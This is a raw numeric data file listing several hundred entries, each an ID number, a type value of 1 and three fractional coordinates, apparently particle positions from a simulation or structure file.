1932 1 0.258079 0.398801 0.19314
169 1 0.364546 0.30251 0.159351
107 1 0.310887 0.379197 0.0807247
596 1 0.375107 0.350598 0.0896674
1320 1 0.285741 0.453725 0.109952
1033 1 0.372222 0.424752 0.0997955
1276 1 0.845022 0.0105429 0.442962
1341 1 0.441997 0.345364 0.0553873
1711 1 0.513971 0.310036 0.144464
95 1 0.650027 0.224156 0.0524747
2020 1 0.611915 0.446036 0.15404
2013 1 0.565473 0.346966 0.109768
1192 1 0.465781 0.400014 0.203112
75 1 0.587173 0.0241956 0.0819423
1938 1 0.486425 0.457505 0.0419339
1149 1 0.46455 0.0380852 0.376768
1541 1 0.713885 0.31952 0.0447398
665 1 0.634758 0.397481 0.0927524
1145 1 0.993617 0.156658 0.444261
1455 1 0.787046 0.220226 0.0521331
2011 1 0.376678 0.0378125 0.277245
1307 1 0.565201 0.43461 0.0972885
310 1 0.657373 0.346851 0.140207
1042 1 0.200389 0.396764 0.46171
642 1 0.776687 0.24954 0.139213
11 1 0.607358 0.102272 0.322911
553 1 0.812649 0.309571 0.172374
1334 1 0.729019 0.388075 0.107903
141 1 0.789002 0.439244 0.140795
49 1 0.808223 0.369464 0.118054
1445 1 0.798134 0.333678 0.0386323
2039 1 0.696283 0.430187 0.0357483
1742 1 0.668781 0.405322 0.177646
970 1 0.946163 0.409848 0.0101414
48 1 0.399472 0.159728 0.402466
2036 1 0.89348 0.411326 0.105022
1517 1 0.0320399 0.498971 0.11723
1763 1 0.00737175 0.420473 0.0561852
497 1 0.069159 0.0508609 0.283578
5 1 0.117935 0.0214428 0.224843
1198 1 0.0812329 0.196181 0.143697
248 1 0.0417909 0.181214 0.29863
957 1 0.137748 0.162959 0.177513
840 1 0.259466 0.41829 0.0274461
1120 1 0.987299 0.0367955 0.157202
1761 1 0.021644 0.108434 0.27088
124 1 0.501895 0.378669 0.0578623
115 1 0.722133 0.46133 0.497757
591 1 0.9617 0.294973 0.419619
182 1 0.265645 0.0890427 0.354354
1574 1 0.314306 0.0349948 0.310198
1540 1 0.0666902 0.0811227 0.206519
123 1 0.209836 0.121541 0.253351
309 1 0.262224 0.231723 0.231355
1771 1 0.191637 0.123532 0.155487
409 1 0.264394 0.161786 0.247221
694 1 0.319891 0.243902 0.184733
1069 1 0.304703 0.0899765 0.248525
1116 1 0.443357 0.0316627 0.228756
608 1 0.392413 0.177296 0.154471
643 1 0.317194 0.113225 0.175583
401 1 0.336883 0.19712 0.285458
36 1 0.583737 0.362616 0.0424258
229 1 0.345591 0.0944954 0.332358
209 1 0.456493 0.115882 0.180492
345 1 0.936125 0.0219319 0.391647
2037 1 0.45328 0.175999 0.212825
1784 1 0.500207 0.0890511 0.253512
526 1 0.461416 0.249761 0.180503
2038 1 0.532267 0.096833 0.365877
834 1 0.682878 0.187174 0.467007
225 1 0.518245 0.192844 0.43292
675 1 0.656667 0.0859933 0.395539
1099 1 0.52638 0.131143 0.13816
266 1 0.664253 0.0943121 0.265771
684 1 0.665642 0.167893 0.316063
615 1 0.571216 0.141084 0.204486
467 1 0.608209 0.158911 0.377737
1562 1 0.719132 0.121509 0.419099
38 1 0.016629 0.475486 0.206233
1435 1 0.0262829 0.026851 0.425561
194 1 0.505451 0.128496 0.021263
419 1 0.821952 0.0780913 0.344523
458 1 0.791871 0.175951 0.281407
25 1 0.841341 0.115184 0.285738
1618 1 0.717219 0.108819 0.192354
1533 1 0.698456 0.116609 0.348332
1448 1 0.796392 0.0568891 0.270906
960 1 0.671891 0.164281 0.222993
259 1 0.728501 0.132113 0.27993
1429 1 0.720909 0.0478233 0.243034
757 1 0.921642 0.0314277 0.24136
926 1 0.964627 0.0705632 0.308733
1971 1 0.879392 0.468946 0.0457323
1888 1 0.993328 0.0533614 0.233619
576 1 0.94271 0.123422 0.254205
2040 1 0.0635855 0.163478 0.220755
343 1 0.0172007 0.321244 0.478704
780 1 0.0445883 0.356735 0.121984
257 1 0.00334373 0.363623 0.252166
1264 1 0.121667 0.217481 0.248457
1677 1 0.0759987 0.330277 0.239836
1643 1 0.0176009 0.233586 0.248433
1449 1 0.11903 0.394202 0.26515
1744 1 0.0752564 0.263841 0.28422
243 1 0.990596 0.231391 0.166632
1112 1 0.178262 0.311039 0.18408
1851 1 0.232996 0.297256 0.11823
1290 1 0.140414 0.301014 0.252594
174 1 0.160287 0.292317 0.363916
1399 1 0.347829 0.164866 0.211362
56 1 0.319994 0.264439 0.259743
539 1 0.296085 0.294701 0.34393
1715 1 0.305724 0.204526 0.10119
1702 1 0.304764 0.376048 0.256214
1791 1 0.420037 0.352799 0.295679
14 1 0.26311 0.301185 0.205041
1183 1 0.330419 0.499359 0.255092
161 1 0.394009 0.263742 0.214082
1716 1 0.2679 0.223846 0.37546
1594 1 0.367534 0.360898 0.364536
193 1 0.399531 0.19695 0.249905
763 1 0.518011 0.313329 0.275706
388 1 0.424231 0.250842 0.310164
1092 1 0.595045 0.246672 0.327097
368 1 0.521827 0.249001 0.349141
1604 1 0.56465 0.232636 0.404503
1762 1 0.408472 0.278762 0.389759
1398 1 0.568214 0.166818 0.309321
1298 1 0.682052 0.328882 0.224866
717 1 0.578201 0.249126 0.24748
631 1 0.658516 0.306089 0.289875
1675 1 0.588837 0.375816 0.173921
1662 1 0.686788 0.400146 0.319995
761 1 0.680004 0.251462 0.366217
981 1 0.714988 0.271726 0.252535
1984 1 0.842967 0.143876 0.213234
660 1 0.738693 0.246799 0.321294
1839 1 0.746928 0.204341 0.229588
634 1 0.795813 0.226588 0.356823
1978 1 0.755031 0.322844 0.309385
468 1 0.686714 0.177391 0.387367
667 1 0.926282 0.09457 0.184791
1748 1 0.952332 0.228671 0.226981
1297 1 0.927808 0.178611 0.179897
127 1 0.939139 0.217385 0.29743
392 1 0.886768 0.321789 0.120896
1289 1 0.900181 0.330571 0.377018
706 1 0.924943 0.339284 0.294687
1223 1 0.906801 0.275904 0.266582
1974 1 0.916138 0.159311 0.328022
1913 1 0.995503 0.442402 0.372156
1746 1 0.071099 0.43748 0.236827
155 1 0.0930649 0.470623 0.167477
1561 1 0.274644 -0.00115856 0.37283
636 1 0.957598 0.366653 0.177829
563 1 0.579322 0.493406 0.20107
253 1 0.217014 0.408478 0.127664
371 1 0.17578 0.425713 0.256504
9 1 0.962214 0.464863 0.0935119
1635 1 0.181869 0.423923 0.183141
68 1 0.240807 0.470033 0.273656
1105 1 0.235467 0.47205 0.155229
959 1 0.107789 0.349345 0.170937
664 1 0.200866 0.350187 0.243971
1724 1 0.233804 0.400515 0.285674
1113 1 0.385701 0.449934 0.45913
710 1 0.274546 0.317561 0.272987
1936 1 0.404787 0.381905 0.153382
1558 1 0.303535 0.451131 0.213502
104 1 0.441298 0.413777 0.095015
691 1 0.358062 0.464553 0.165403
1580 1 0.409302 0.107302 0.0219621
527 1 0.268763 0.464438 0.350762
1818 1 0.437759 0.127712 0.464457
1745 1 0.527508 0.340637 0.20605
939 1 0.217909 0.0562749 0.28894
1524 1 0.454961 0.446546 0.278317
837 1 0.203113 0.327238 0.492568
1765 1 0.467324 0.308574 0.337847
1717 1 0.505945 0.389578 0.266723
188 1 0.388228 0.451714 0.236098
1610 1 0.181912 0.212032 0.377093
2 1 0.73301 0.0791901 0.0402423
1696 1 0.557546 0.329535 0.347793
337 1 0.729077 0.447262 0.183524
180 1 0.42463 0.216643 0.0263799
1632 1 0.69052 0.399533 0.250765
676 1 0.535086 0.433198 0.206853
1125 1 0.613645 0.414246 0.241434
519 1 0.743815 0.359486 0.17698
322 1 0.585286 0.349923 0.269363
1520 1 0.494254 0.0585663 0.135146
1660 1 0.766322 0.411301 0.278346
81 1 0.7772 0.468707 0.334898
946 1 0.793868 0.341166 0.476291
1774 1 0.775475 0.339724 0.237002
945 1 0.955589 0.42127 0.311637
1482 1 0.776392 0.487541 0.261109
32 1 0.754071 0.382547 0.354543
1740 1 0.713029 0.26559 0.173483
1376 1 0.83374 0.310755 0.270267
1128 1 0.867062 0.437281 0.194462
1085 1 0.658215 0.0681074 0.0712113
1230 1 0.828236 0.359676 0.328572
23 1 0.933948 0.437106 0.241431
1490 1 0.516923 0.499118 0.124309
928 1 0.949256 0.498736 0.32371
1200 1 0.817379 0.386472 0.190826
1605 1 0.871708 0.334741 0.211148
301 1 0.012428 0.460334 0.286259
1304 1 0.849839 0.491117 0.279867
1737 1 0.746253 0.484193 0.0276901
1985 1 0.209181 0.0408545 0.369417
1578 1 0.0697626 0.0381965 0.35414
804 1 0.108237 0.018241 0.416711
1914 1 0.119422 0.139317 0.446701
100 1 0.157353 0.0729988 0.411965
1056 1 0.0719954 0.119684 0.338127
1284 1 0.883685 0.318964 0.448096
822 1 0.299017 0.493964 0.406538
998 1 0.780519 0.280488 0.447689
1622 1 0.743763 0.0544731 0.330599
702 1 0.225474 0.162191 0.321787
1708 1 0.153562 0.0063867 0.474041
723 1 0.154271 0.0463458 0.324751
1871 1 0.232392 0.0897195 0.425045
1862 1 0.443892 0.494958 0.213244
1475 1 0.567038 0.0616211 0.203666
743 1 0.640607 0.139202 0.446116
843 1 0.25932 0.108097 0.485437
1258 1 0.266958 0.220011 0.304334
16 1 0.389812 0.125612 0.272083
1238 1 0.408347 0.164582 0.323106
617 1 0.299761 0.131966 0.409446
1826 1 0.392511 0.0435969 0.36974
681 1 0.251814 0.182701 0.43731
404 1 0.320586 0.190973 0.454713
1296 1 0.462402 0.19828 0.378236
1255 1 0.303911 0.152953 0.326185
1121 1 0.23663 0.43395 0.408665
815 1 0.707306 0.215666 0.00828524
1845 1 0.478156 0.13618 0.323941
287 1 0.419928 0.275019 0.461104
2031 1 0.43443 0.0771191 0.30494
2046 1 0.507936 0.0770975 0.447911
1701 1 0.59125 0.0506291 0.410045
1414 1 0.465889 0.123548 0.394283
1547 1 0.568971 0.124698 0.432537
943 1 0.439428 0.202056 0.461501
721 1 0.581365 0.184765 0.482138
1204 1 0.775298 0.11954 0.469139
1381 1 0.0998267 0.0643155 0.0340552
1407 1 0.326558 0.455697 0.0346551
1542 1 0.749606 0.476672 0.415045
364 1 0.745685 0.20758 0.498136
899 1 0.601778 0.0806218 0.486136
662 1 0.638129 0.0381886 0.214104
88 1 0.904995 0.442492 0.397867
1210 1 0.725261 0.0505382 0.4058
2021 1 0.858564 0.47564 0.118251
1593 1 0.857925 0.00815575 0.330546
1023 1 0.797866 0.167851 0.419221
966 1 0.893826 0.083547 0.3184
319 1 0.848309 0.142227 0.350443
132 1 0.878327 0.0724097 0.395312
254 1 0.426266 0.493365 0.0663995
1283 1 0.0154784 0.161916 0.0399593
1352 1 0.993922 0.0956089 0.39847
1700 1 0.980051 0.147763 0.31855
128 1 0.927593 0.00893776 0.31434
1327 1 0.0734672 0.0831445 0.413398
963 1 0.025875 0.0989637 0.470812
820 1 0.156132 0.336857 0.00523614
589 1 0.914598 0.144001 0.39749
1497 1 0.115244 0.163371 0.292242
1899 1 0.372081 0.387075 0.0316351
1634 1 0.0835181 0.275191 0.352925
58 1 0.102818 0.307466 0.431402
1751 1 0.161901 0.136276 0.359955
131 1 0.0156148 0.228268 0.350356
1907 1 0.979443 0.300967 0.261489
826 1 0.955338 0.21369 0.389781
506 1 0.0974124 0.186254 0.362281
1337 1 0.0449176 0.339102 0.312839
120 1 0.190414 0.202991 0.225442
1525 1 0.167258 0.220311 0.299354
787 1 0.230831 0.289851 0.387984
1039 1 0.159168 0.378662 0.31928
1953 1 0.0906396 0.222925 0.41945
210 1 0.190934 0.268924 0.453966
1126 1 0.28932 0.347093 0.416663
34 1 0.695324 0.076877 0.467759
347 1 0.219524 0.266056 0.281049
1288 1 0.336464 0.286855 0.423047
621 1 0.322816 0.433012 0.304478
654 1 0.441635 0.348269 0.39928
552 1 0.26224 0.279155 0.458274
1876 1 0.224035 0.325945 0.323329
1734 1 0.0888058 0.454075 0.435417
618 1 0.627189 0.318433 0.379882
338 1 0.426873 0.422274 0.355529
354 1 0.171575 0.192488 0.447117
1640 1 0.218044 0.470331 0.0785128
54 1 0.448482 0.0497571 0.444545
217 1 0.503435 0.235306 0.494701
765 1 0.484864 0.324789 0.47271
712 1 0.594532 0.25097 0.479769
181 1 0.49487 0.263399 0.42172
858 1 0.572413 0.461172 0.270163
82 1 0.453228 0.404546 0.484552
245 1 0.707571 0.269876 0.475561
1324 1 0.689655 0.409877 0.41669
1159 1 0.567188 0.300795 0.426988
156 1 0.646927 0.2633 0.426239
1955 1 0.76876 0.410354 0.457425
1976 1 0.863291 0.279322 0.339218
199 1 0.695395 0.328327 0.345011
1684 1 0.0348455 0.238177 0.0463787
1756 1 0.7516 0.168165 0.351414
1521 1 0.790659 0.305178 0.382786
1164 1 0.697833 0.317845 0.417518
1439 1 0.857726 0.213637 0.387664
1886 1 0.910509 0.081627 0.459954
246 1 0.743956 0.229917 0.407786
2008 1 0.834118 0.227225 0.456654
220 1 0.989282 0.227027 0.479016
860 1 0.865037 0.145159 0.450888
1670 1 0.947588 0.275946 0.338534
1119 1 0.0196421 0.161907 0.381417
574 1 0.0379081 0.496019 0.0286696
1707 1 0.866567 0.4138 0.464065
302 1 0.136169 0.370191 0.425354
896 1 0.101981 0.346757 0.365913
1177 1 0.0743892 0.411937 0.349229
247 1 0.05124 0.383654 0.466208
482 1 0.888553 0.0270707 0.0668601
755 1 0.28298 0.371181 0.332126
1793 1 0.122221 0.453158 0.311786
560 1 0.0705588 0.259091 0.486991
265 1 0.958787 0.436941 0.450484
557 1 0.171528 0.458606 0.446897
1900 1 0.137491 0.418735 0.37828
600 1 0.197798 0.459157 0.345467
1234 1 0.208485 0.362424 0.385626
602 1 0.799075 0.0727025 0.0966114
435 1 0.354174 0.44548 0.378068
1197 1 0.908909 0.210476 0.461234
1396 1 0.709672 0.473127 0.257363
163 1 0.786717 0.0403371 0.199764
724 1 0.802678 0.494003 0.485062
60 1 0.368244 0.362132 0.438667
280 1 0.607697 0.438532 0.434499
1815 1 0.31081 0.422693 0.436712
1970 1 0.854322 0.433179 0.331804
971 1 0.829169 0.376108 0.401762
1674 1 0.104566 0.496842 0.0521484
632 1 0.53335 0.407247 0.463482
1489 1 0.22083 0.030864 0.164558
373 1 0.182893 0.461307 0.0109091
475 1 0.683501 0.462604 0.371088
897 1 0.995825 0.0152294 0.350812
1704 1 0.718803 0.359154 0.478294
909 1 0.555016 0.494433 0.436143
1629 1 0.0955702 0.485687 0.368561
297 1 0.585804 0.00563288 0.27227
484 1 0.64905 0.478836 0.303703
544 1 0.256291 0.180389 0.0308152
1919 1 0.111815 0.0746726 0.482223
908 1 0.753467 0.0141589 0.00467073
713 1 0.827631 0.00364101 0.101449
495 1 0.601468 0.0145382 0.348934
73 1 0.911548 0.278228 0.49208
1786 1 0.137444 0.386256 0.496783
992 1 0.27378 0.383296 0.488054
682 1 0.187713 0.120286 0.496932
1852 1 0.0767618 0.21677 0.557202
889 1 0.0970732 0.129277 0.556696
1285 1 0.895477 0.3272 0.906754
919 1 0.986618 0.0420356 0.588051
471 1 0.259999 0.476014 0.992025
1608 1 0.140601 0.186327 0.516238
1054 1 0.0981405 0.0411165 0.553215
1870 1 0.176399 0.0507132 0.566077
1811 1 0.23934 0.093271 0.555169
279 1 0.232626 0.0241165 0.707381
418 1 0.150921 0.102341 0.708091
1347 1 0.677818 0.476646 0.664759
1969 1 0.661229 0.414328 0.514698
1502 1 0.475123 0.094837 0.520171
1787 1 0.907605 0.365952 0.962397
648 1 0.238897 0.0124823 0.567976
901 1 0.385793 0.159383 0.579989
1485 1 0.307446 0.0749138 0.580868
1382 1 0.611033 0.497243 0.899821
1678 1 0.168876 0.048814 0.654802
429 1 0.964445 0.494703 0.64602
977 1 0.326913 0.0957165 0.967636
1857 1 0.543564 0.0272501 0.947653
1089 1 0.288031 0.0508998 0.511757
1868 1 0.992253 0.146657 0.83036
533 1 0.438058 0.141542 0.796936
1148 1 0.524435 0.0780162 0.880753
1667 1 0.343367 0.0923269 0.507493
1840 1 0.454533 0.109632 0.590128
528 1 0.775391 0.342626 0.96551
646 1 0.375111 0.435586 0.584375
272 1 0.433214 0.0961616 0.745767
921 1 0.498602 0.0515666 0.581684
1096 1 0.558997 0.039811 0.537452
1727 1 0.608568 0.138117 0.613893
6 1 0.611773 0.0495021 0.592595
1551 1 0.549996 0.187279 0.547597
793 1 0.688041 0.0450096 0.604
1388 1 0.71028 0.0800442 0.541015
1964 1 0.556579 0.320028 0.991851
1808 1 0.525414 0.13658 0.599984
1999 1 0.63386 0.142072 0.527865
1383 1 0.0874006 0.322725 0.51697
1153 1 0.429069 0.0869415 0.652832
1583 1 0.798427 0.103905 0.556372
41 1 0.841694 0.176356 0.682394
1447 1 0.928918 0.0789078 0.535662
810 1 0.599944 0.273549 0.577795
1048 1 0.426121 0.0356328 0.9187
1874 1 0.943104 0.141946 0.497441
1606 1 0.853059 0.0765678 0.630079
1386 1 0.909271 0.119486 0.610209
556 1 0.922246 0.123009 0.687987
223 1 0.383052 0.0846393 0.586193
230 1 0.769003 0.00985929 0.674234
1458 1 0.426892 0.0231104 0.52183
964 1 0.114452 0.111643 0.632942
871 1 0.0909647 0.236007 0.66195
1894 1 0.181271 0.258358 0.707688
1108 1 0.152815 0.309184 0.639406
651 1 0.0544507 0.175712 0.629685
1217 1 0.0148769 0.260449 0.544707
395 1 0.204715 0.208664 0.507477
99 1 0.189155 0.166619 0.997565
732 1 0.158864 0.152614 0.593554
416 1 0.233614 0.278298 0.647343
1549 1 0.983202 0.0641639 0.908087
1470 1 0.13197 0.218526 0.604414
271 1 0.256656 0.152144 0.601054
219 1 0.328034 0.158959 0.547436
386 1 0.233405 0.225562 0.590034
1245 1 0.235565 0.14306 0.694631
406 1 0.302135 0.243564 0.668519
2029 1 0.355028 0.322374 0.686997
701 1 0.384373 0.190751 0.654098
478 1 0.608227 0.0320823 0.705881
1663 1 0.402558 0.300936 0.563536
1342 1 0.209502 0.00145466 0.978816
729 1 0.461494 0.16316 0.666939
348 1 0.352193 0.250283 0.602903
101 1 0.548252 0.209447 0.641698
783 1 0.460294 0.260725 0.54483
244 1 0.475132 0.187815 0.594814
532 1 0.399949 0.151156 0.719422
165 1 0.439971 0.166548 0.532186
1440 1 0.431868 0.252045 0.617363
1543 1 0.616119 0.194707 0.694785
503 1 0.614919 0.203158 0.585701
670 1 0.689127 0.292922 0.600798
1331 1 0.720055 0.143126 0.66036
565 1 0.545436 0.328314 0.598075
1205 1 0.708193 0.359603 0.550598
1441 1 0.642485 0.261544 0.651074
444 1 0.609796 0.355863 0.553841
462 1 0.212888 0.0460912 0.50167
1601 1 0.270715 0.375243 0.933715
525 1 0.823895 0.213496 0.742183
2032 1 0.787406 0.136192 0.769208
918 1 0.819923 0.257572 0.566642
980 1 0.845469 0.148971 0.581573
1406 1 0.643165 0.375871 0.613029
799 1 0.760046 0.186977 0.715134
260 1 0.873605 0.233178 0.696639
22 1 0.685448 0.153023 0.600105
1965 1 0.748891 0.276702 0.534565
1785 1 0.0372382 0.0246853 0.871886
595 1 0.876444 0.160707 0.758002
1310 1 0.0367771 0.156304 0.528083
1646 1 0.96099 0.172133 0.644417
623 1 0.884225 0.280725 0.587543
1098 1 0.953439 0.259054 0.5994
1666 1 0.0358824 0.336664 0.563295
906 1 0.852723 0.463804 0.804099
1572 1 0.796465 0.221915 0.627355
772 1 0.0480158 0.309494 0.678289
221 1 0.929351 0.359081 0.585895
1097 1 0.988143 0.112786 0.552037
1161 1 0.0185478 0.237268 0.643612
489 1 0.0873606 0.356719 0.620852
695 1 0.991458 0.392213 0.555642
1206 1 0.0860041 0.287576 0.582592
592 1 0.987668 0.0430963 0.703361
1101 1 0.234698 0.495696 0.597852
1254 1 0.873311 0.389319 0.864466
117 1 0.145453 0.452441 0.570884
1537 1 0.841745 0.305817 0.986443
637 1 0.491854 0.346044 0.979846
139 1 0.218893 0.411301 0.534829
578 1 0.699682 0.149732 0.530399
1685 1 0.108005 0.449317 0.514297
1880 1 0.207304 0.337158 0.683888
1729 1 0.148388 0.261645 0.522022
1462 1 0.306952 0.440556 0.550301
1648 1 0.913459 0.407884 0.532003
1473 1 0.174415 0.0299852 0.759002
1950 1 0.18293 0.318519 0.563723
564 1 0.744278 0.484801 0.850353
1266 1 0.221045 0.362134 0.613434
353 1 0.941872 0.490884 0.952576
1673 1 0.849418 0.356607 0.544875
176 1 0.273172 0.303407 0.577404
876 1 0.503805 0.37636 0.657686
1143 1 0.911413 0.00731466 0.5638
1272 1 0.292376 0.319097 0.648762
192 1 0.347785 0.351714 0.573156
766 1 0.879294 0.222898 0.545045
1753 1 0.636871 0.0238933 0.518655
1653 1 0.537712 0.381451 0.532399
2027 1 0.38445 0.454046 0.988822
46 1 0.587769 0.412462 0.92173
500 1 0.34868 0.0172897 0.604648
1579 1 0.488364 0.330927 0.545982
21 1 0.47401 0.455534 0.697421
1859 1 0.521199 0.397313 0.734785
976 1 0.66048 0.345084 0.996275
934 1 0.492873 0.40946 0.585752
1127 1 0.603643 0.37428 0.729746
1759 1 0.549692 0.302658 0.513934
1278 1 0.675956 0.0309205 0.756804
423 1 0.317788 0.398311 0.985307
1515 1 0.720916 0.389458 0.614331
1822 1 0.60319 0.455191 0.581267
1591 1 0.804411 0.423058 0.528735
1940 1 0.590906 0.319181 0.6555
597 1 0.237199 0.274544 0.525726
1712 1 0.677689 0.465178 0.563116
413 1 0.759669 0.276127 0.614258
1107 1 0.861993 0.382399 0.625764
328 1 0.788417 0.34001 0.572027
1224 1 0.650648 0.310742 0.525443
300 1 0.790104 0.443287 0.623976
403 1 0.667054 0.404872 0.699794
753 1 0.403131 0.0467577 0.98673
1891 1 0.908351 0.454043 0.607471
509 1 0.75077 0.454962 0.741249
1776 1 0.961475 0.312473 0.539234
614 1 0.955845 0.0172153 0.498087
806 1 0.966252 0.402665 0.631678
1274 1 0.562821 0.39735 0.626659
508 1 0.0875504 0.104328 0.776916
1361 1 0.0985875 0.0346927 0.633262
1325 1 0.983597 0.0976182 0.63245
1060 1 0.0432173 0.219993 0.720281
464 1 0.997493 0.101075 0.755644
1577 1 0.0946913 0.140694 0.833112
1529 1 0.0389101 0.0942481 0.840102
1395 1 0.354477 0.321256 0.976667
1844 1 0.13071 0.185064 0.748492
1535 1 0.0388784 0.0453345 0.765793
549 1 0.319316 0.00486522 0.675079
473 1 0.115195 0.0200533 0.703144
1814 1 0.325872 0.470636 0.940073
1679 1 0.212284 0.0898457 0.739214
1511 1 0.202724 0.13421 0.852776
627 1 0.332512 0.143074 0.632846
829 1 0.0957381 0.0201789 0.945001
2035 1 0.30289 0.0854185 0.718826
961 1 0.421362 0.169502 0.866993
1091 1 0.275579 0.111774 0.786792
109 1 0.490248 0.481367 0.857457
1972 1 0.30733 0.128925 0.851527
1528 1 0.391021 0.039298 0.716511
303 1 0.354734 0.0783925 0.655039
1982 1 0.34906 0.119849 0.767623
520 1 0.573757 0.149525 0.770074
204 1 0.501295 0.096517 0.711647
241 1 0.668834 0.129475 0.833902
1241 1 0.890341 0.443687 0.906576
1509 1 0.518006 0.00263579 0.745613
1514 1 0.668816 0.033659 0.678798
1961 1 0.817662 0.0733561 0.765192
1222 1 0.526848 0.252457 0.580682
1925 1 0.559432 0.101753 0.670502
529 1 0.662345 0.108307 0.75795
1226 1 0.569866 0.0277256 0.642335
590 1 0.737969 0.0866005 0.793765
1809 1 0.684659 0.0703981 0.969603
151 1 0.753673 0.194782 0.57697
1898 1 0.848022 0.00403063 0.794626
825 1 0.287077 0.275787 0.960793
1829 1 0.817018 0.197433 0.523804
472 1 0.634166 0.419584 0.99513
550 1 0.764115 0.273115 1.00045
113 1 0.783506 0.0995933 0.671044
776 1 0.395105 0.228497 0.536141
1941 1 0.828186 0.170999 0.841334
1428 1 0.798928 0.0700578 0.844754
1722 1 0.942376 0.460846 0.773772
485 1 0.928765 0.0570839 0.659547
501 1 0.861802 0.113529 0.81839
1962 1 0.0739191 0.494394 0.586563
1910 1 0.868534 0.218062 0.80621
746 1 0.897921 0.0626035 0.736344
166 1 0.970865 0.481424 0.889913
276 1 0.938764 0.203375 0.700461
1576 1 0.0428888 0.0786159 0.602188
1074 1 0.0813113 0.149853 0.694293
741 1 0.134154 0.239373 0.861804
1168 1 0.110487 0.346944 0.861492
469 1 0.126458 0.293915 0.800652
1908 1 0.115801 0.346017 0.690044
884 1 0.0633352 0.441258 0.829552
594 1 0.245215 0.217461 0.700992
831 1 0.266829 0.189618 0.833967
752 1 0.283651 0.256096 0.829562
1279 1 0.196124 0.304508 0.843086
1415 1 0.169784 0.1689 0.680919
1588 1 0.134876 0.404944 0.737123
1416 1 0.273539 0.290586 0.716839
1220 1 0.235093 0.213766 0.971232
172 1 0.182739 0.348272 0.749586
394 1 0.22263 0.244153 0.774023
434 1 0.327447 0.159119 0.702779
1041 1 0.284548 0.188147 0.757557
611 1 0.185966 0.153818 0.780925
1804 1 0.324113 0.225372 0.892
1348 1 0.458533 0.27627 0.828959
1947 1 0.316879 0.391091 0.771857
1830 1 0.357926 0.18794 0.813098
641 1 0.493944 0.32065 0.919443
1013 1 0.442934 0.230667 0.69391
1614 1 0.477605 0.208904 0.835391
1318 1 0.635608 0.188796 0.793366
375 1 0.587838 0.253171 0.752261
554 1 0.574952 0.191327 0.83984
678 1 0.524995 0.282343 0.648254
575 1 0.47564 0.172202 0.73898
114 1 0.429869 0.325466 0.642402
1026 1 0.544337 0.291508 0.801088
1864 1 0.453447 0.294562 0.719195
1253 1 0.712782 0.231595 0.646423
326 1 0.510989 0.23817 0.775285
1848 1 0.639967 0.0971234 0.688604
1695 1 0.687139 0.166954 0.720296
1065 1 0.671965 0.248907 0.727803
698 1 0.708185 0.30453 0.68311
805 1 0.691942 0.233433 0.802331
1443 1 0.628412 0.25908 0.818442
1442 1 0.720404 0.0794842 0.714853
541 1 0.721234 0.155814 0.785122
1842 1 0.00640953 0.148933 0.689668
74 1 0.899998 0.267181 0.753844
1488 1 0.997717 0.328286 0.622232
1167 1 0.764152 0.209928 0.805075
874 1 0.824768 0.27125 0.783223
1427 1 0.769781 0.340262 0.780687
1051 1 0.894932 0.216265 0.622792
389 1 0.0999783 0.275684 0.72909
942 1 0.988042 0.259286 0.785591
1523 1 0.939789 0.281568 0.688864
1805 1 0.943077 0.187191 0.858745
1590 1 0.047821 0.298899 0.795897
677 1 0.938665 0.101125 0.796917
1498 1 0.908273 0.2685 0.83181
1190 1 0.0352563 0.369042 0.735867
178 1 0.0925087 0.364324 0.788659
962 1 0.987609 0.362972 0.788616
947 1 0.973618 0.371936 0.69522
1350 1 0.996315 0.483668 0.820675
250 1 0.364812 0.388292 0.713137
1602 1 0.149584 0.37618 0.593871
1178 1 0.48979 0.0438253 0.805945
1317 1 0.178388 0.435674 0.627591
1649 1 0.177355 0.395202 0.813494
390 1 0.28798 0.390635 0.617541
999 1 0.148223 0.483993 0.668782
1867 1 0.143988 0.468147 0.798974
513 1 0.232323 0.4097 0.77083
547 1 0.100363 0.443716 0.919005
2019 1 0.205228 0.440161 0.710453
1699 1 0.651017 0.0200049 0.849766
1831 1 0.424957 0.0280139 0.590408
1122 1 0.398125 0.47381 0.652566
1332 1 0.388649 0.319307 0.759021
1856 1 0.547714 0.363392 0.807092
2006 1 0.362932 0.238611 0.728971
1140 1 0.257844 0.392294 0.693218
361 1 0.438881 0.376222 0.693693
35 1 0.418254 0.334826 0.836068
1627 1 0.57336 0.432699 0.782429
1330 1 0.251122 0.449809 0.915376
1487 1 0.882648 0.468747 0.730537
1057 1 0.467648 0.358453 0.767359
143 1 0.421457 0.238695 0.782567
1626 1 0.645378 0.390625 0.785851
122 1 0.533588 0.325672 0.741917
1584 1 0.703417 0.0177519 0.931121
1802 1 0.53185 0.490939 0.733546
518 1 0.819913 0.335029 0.841856
1008 1 0.619089 0.33832 0.827193
848 1 0.714221 0.284423 0.856129
1513 1 0.804549 0.00407289 0.884335
1587 1 0.670716 0.456077 0.873521
1706 1 0.798545 0.41943 0.836961
93 1 0.628503 0.306825 0.730685
1957 1 0.560469 0.488863 0.843279
1434 1 0.457676 0.481845 0.599651
1661 1 0.713855 0.39823 0.791171
3 1 0.36817 0.40874 0.514348
1046 1 0.775484 0.341707 0.657037
367 1 0.812651 0.402871 0.694687
140 1 0.835196 0.393965 0.785431
365 1 0.82954 0.291794 0.644559
779 1 -0.00146123 0.302647 0.727369
332 1 0.892775 0.327672 0.663781
1333 1 0.93691 0.329052 0.750451
1732 1 0.90838 0.397744 0.732299
849 1 0.868478 0.250875 0.895991
1565 1 0.640888 0.237219 0.975917
1302 1 0.836034 0.324676 0.720202
157 1 0.855196 0.452908 0.655038
890 1 0.458515 0.488629 0.757364
1568 1 0.583578 0.431263 0.505672
255 1 0.0585301 0.176742 0.881293
1043 1 0.0571813 0.0953205 0.9178
452 1 0.0433123 0.163459 0.773188
340 1 0.975328 0.337332 0.899856
383 1 0.510144 0.456479 0.517552
1323 1 0.123992 0.0733936 0.884099
2024 1 0.753243 0.482256 0.576314
70 1 0.246286 0.0877064 0.960117
344 1 0.987428 0.406938 0.854809
270 1 0.150147 0.0795374 0.809352
773 1 0.235136 0.0632988 0.830866
148 1 0.307294 0.246758 0.540418
1095 1 0.170091 0.098418 0.965869
317 1 0.264861 0.0405121 0.767953
85 1 0.322781 0.0636698 0.814801
912 1 0.461976 0.0864862 0.965115
346 1 0.474396 0.0113216 0.994362
1084 1 0.297597 0.0514949 0.893377
609 1 0.369534 0.0982558 0.86458
1357 1 0.275557 0.157024 0.913193
619 1 0.358222 0.151218 0.922481
1721 1 0.320801 0.323057 0.507824
448 1 0.377136 0.48589 0.738895
1483 1 0.0738159 0.422413 0.579981
1064 1 0.600222 0.0920503 0.913556
1994 1 0.404624 0.0705581 0.802492
437 1 0.103882 0.410837 0.672965
